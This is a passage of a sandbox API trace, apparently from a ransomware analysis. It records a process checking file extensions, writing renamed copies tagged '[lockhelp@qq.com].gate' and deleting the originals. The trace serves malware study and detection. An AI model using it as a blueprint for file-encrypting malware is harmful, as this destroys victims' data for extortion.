(lpString1=".dbf", lpString2=".xml") returned -1 [0129.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0129.876] lstrlenW (lpString=".1cd") returned 4 [0129.876] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0129.876] lstrlenW (lpString=".jpg") returned 4 [0129.876] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0129.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0129.876] lstrlenW (lpString=".doc") returned 4 [0129.876] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.876] lstrlenW (lpString=".docx") returned 5 [0129.876] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0129.877] lstrlenW (lpString=".pdf") returned 4 [0129.877] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.877] lstrlenW (lpString=".xls") returned 4 [0129.877] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.877] lstrlenW (lpString=".xlsx") returned 5 [0129.877] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0129.877] lstrlenW (lpString=".ppt") returned 4 [0129.877] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0129.877] lstrlenW (lpString=".zip") returned 4 [0129.877] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.877] lstrlenW (lpString=".rar") returned 4 [0129.877] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.877] lstrlenW (lpString=".bz2") returned 4 [0129.877] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.877] lstrlenW (lpString=".7z") returned 3 [0129.877] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0129.877] lstrlenW (lpString=".dbf") returned 4 [0129.877] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0129.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0129.877] lstrlenW (lpString=".1cd") returned 4 [0129.877] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104 [0129.877] lstrlenW (lpString=".jpg") returned 4 [0129.877] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.878] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0129.878] lstrlenW (lpString="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 53 [0129.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0129.878] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=1261) returned 1 [0129.878] CloseHandle (hObject=0x344) returned 1 [0129.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0129.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0129.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0129.879] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0129.879] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0129.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0129.879] GetLastError () returned 0x0 [0129.879] ReadFile (in: hFile=0x344, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x4ed, lpOverlapped=0x0) returned 1 [0130.172] WriteFile (hFile=0x39c, lpBuffer=0x3f17020, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0) Thread: id = 22 os_tid = 0xf7c [0109.649] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x3c91258 [0109.649] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x3ca1260 [0109.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60ca70 [0109.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x63d230 [0109.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cc38 [0109.650] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x402b020 [0109.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cad0 [0109.652] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60cad0, Size=0x20) returned 0x5ee9d0 [0109.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cab8 [0109.652] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60cab8, Size=0x20) returned 0x5eea20 [0109.652] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.652] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0109.653] Wow64DisableWow64FsRedirection (in: OldValue=0x362ff50 | out: OldValue=0x362ff50*=0x0) returned 1 [0109.653] lstrlenW (lpString="kernel32.dll") returned 12 [0109.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee9d0 | out: hHeap=0x5b0000) returned 1 [0109.653] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0109.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea20 | out: hHeap=0x5b0000) returned 1 [0109.653] Sleep (dwMilliseconds=0x64) [0109.829] lstrcmpiW (lpString1=".log", lpString2=".gate") returned 1 [0109.829] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0109.829] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0109.959] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=6004) returned 1 [0109.959] CloseHandle (hObject=0x2e4) returned 1 [0109.959] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0109.959] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0109.959] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0109.959] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.959] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.959] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0109.960] GetLastError () returned 0x0 [0109.960] ReadFile (in: hFile=0x2e4, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x1774, lpOverlapped=0x0) returned 1 [0110.079] WriteFile (in: hFile=0x2e8, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x1780, lpOverlapped=0x0) returned 1 [0110.080] ReadFile (in: hFile=0x2e4, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.080] WriteFile (in: hFile=0x2e8, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x114, lpOverlapped=0x0) returned 1 [0110.081] SetEndOfFile (hFile=0x2e8) returned 1 [0110.081] CloseHandle (hObject=0x2e8) returned 1 [0110.082] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.082] SetEndOfFile (hFile=0x2e4) returned 1 [0110.083] CloseHandle (hObject=0x2e4) returned 1 [0110.083] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0110.083] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0110.083] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0110.083] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0110.083] lstrlenW (lpString=".doc") returned 4 [0110.083] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0110.084] lstrlenW (lpString=".docx") returned 5 [0110.084] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0110.084] lstrlenW (lpString=".pdf") returned 4 [0110.084] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0110.084] lstrlenW (lpString=".xls") returned 4 [0110.084] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0110.084] lstrlenW (lpString=".xlsx") returned 5 [0110.084] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0110.084] lstrlenW (lpString=".ppt") returned 4 [0110.084] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0110.084] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0110.084] lstrlenW (lpString=".zip") returned 4 [0110.084] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0110.084] lstrlenW (lpString=".rar") returned 4 [0110.084] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0110.084] lstrlenW (lpString=".bz2") returned 4 [0110.084] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0110.084] lstrlenW (lpString=".7z") returned 3 [0110.084] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0110.084] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0110.084] lstrlenW (lpString=".dbf") returned 4 [0110.084] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0110.084] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0110.084] lstrlenW (lpString=".1cd") returned 4 [0110.084] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0110.084] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0110.084] lstrlenW (lpString=".jpg") returned 4 [0110.085] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0110.085] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0110.085] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0110.085] lstrlenW (lpString=".doc") returned 4 [0110.085] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0110.085] lstrlenW (lpString=".docx") returned 5 [0110.085] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0110.085] lstrlenW (lpString=".pdf") returned 4 [0110.085] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0110.085] lstrlenW (lpString=".xls") returned 4 [0110.085] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0110.085] lstrlenW (lpString=".xlsx") returned 5 [0110.085] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0110.085] lstrlenW (lpString=".ppt") returned 4 [0110.085] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0110.085] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0110.085] lstrlenW (lpString=".zip") returned 4 [0110.085] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0110.085] lstrlenW (lpString=".rar") returned 4 [0110.085] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0110.085] lstrlenW (lpString=".bz2") returned 4 [0110.085] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0110.085] lstrlenW (lpString=".7z") returned 3 [0110.085] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0110.085] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0110.085] lstrlenW (lpString=".dbf") returned 4 [0110.085] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0110.085] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0110.086] lstrlenW (lpString=".1cd") returned 4 [0110.086] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0110.086] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0110.086] lstrlenW (lpString=".jpg") returned 4 [0110.086] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0110.086] Sleep (dwMilliseconds=0x64) [0111.177] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0111.177] lstrlenW (lpString="eula.rtf") returned 8 [0111.177] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0111.275] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=8876) returned 1 [0111.275] CloseHandle (hObject=0x338) returned 1 [0111.275] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 0x80 [0111.275] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0111.275] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.275] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.275] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0111.281] GetLastError () returned 0x0 [0111.281] ReadFile (in: hFile=0x338, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x22ac, lpOverlapped=0x0) returned 1 [0111.332] WriteFile (in: hFile=0x310, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x22b0, lpOverlapped=0x0) returned 1 [0111.333] ReadFile (in: hFile=0x338, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0111.333] WriteFile (in: hFile=0x310, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xe4, lpOverlapped=0x0) returned 1 [0111.333] SetEndOfFile (hFile=0x310) returned 1 [0111.334] CloseHandle (hObject=0x310) returned 1 [0111.335] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.335] SetEndOfFile (hFile=0x338) returned 1 [0111.336] CloseHandle (hObject=0x338) returned 1 [0111.336] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.819] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf")) returned 1 [0111.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0111.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0111.819] lstrlenW (lpString=".doc") returned 4 [0111.819] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.819] lstrlenW (lpString=".docx") returned 5 [0111.819] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.819] lstrlenW (lpString=".pdf") returned 4 [0111.819] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.819] lstrlenW (lpString=".xls") returned 4 [0111.819] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.819] lstrlenW (lpString=".xlsx") returned 5 [0111.819] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.819] lstrlenW (lpString=".ppt") returned 4 [0111.819] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.819] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0111.819] lstrlenW (lpString=".zip") returned 4 [0111.820] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.820] lstrlenW (lpString=".rar") returned 4 [0111.820] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.820] lstrlenW (lpString=".bz2") returned 4 [0111.820] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.820] lstrlenW (lpString=".7z") returned 3 [0111.820] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0111.820] lstrlenW (lpString=".dbf") returned 4 [0111.820] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0111.820] lstrlenW (lpString=".1cd") returned 4 [0111.820] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0111.820] lstrlenW (lpString=".jpg") returned 4 [0111.820] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0111.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0111.820] lstrlenW (lpString=".doc") returned 4 [0111.820] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0111.820] lstrlenW (lpString=".docx") returned 5 [0111.820] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0111.820] lstrlenW (lpString=".pdf") returned 4 [0111.820] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0111.820] lstrlenW (lpString=".xls") returned 4 [0111.820] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0111.820] lstrlenW (lpString=".xlsx") returned 5 [0111.820] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0111.820] lstrlenW (lpString=".ppt") returned 4 [0111.820] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0111.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0111.820] lstrlenW (lpString=".zip") returned 4 [0111.820] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0111.820] lstrlenW (lpString=".rar") returned 4 [0111.821] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0111.821] lstrlenW (lpString=".bz2") returned 4 [0111.821] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0111.821] lstrlenW (lpString=".7z") returned 3 [0111.821] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0111.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0111.821] lstrlenW (lpString=".dbf") returned 4 [0111.821] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0111.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0111.821] lstrlenW (lpString=".1cd") returned 4 [0111.821] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0111.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35 [0111.821] lstrlenW (lpString=".jpg") returned 4 [0111.821] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0111.821] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0111.821] lstrlenW (lpString="eula.rtf") returned 8 [0111.821] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0111.821] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=6851) returned 1 [0111.821] CloseHandle (hObject=0x348) returned 1 [0111.821] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0111.822] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.822] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0111.822] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.822] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0111.822] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0111.822] GetLastError () returned 0x0 [0111.822] ReadFile (in: hFile=0x348, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x1ac3, lpOverlapped=0x0) returned 1 [0112.183] WriteFile (in: hFile=0x34c, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0112.185] ReadFile (in: hFile=0x348, 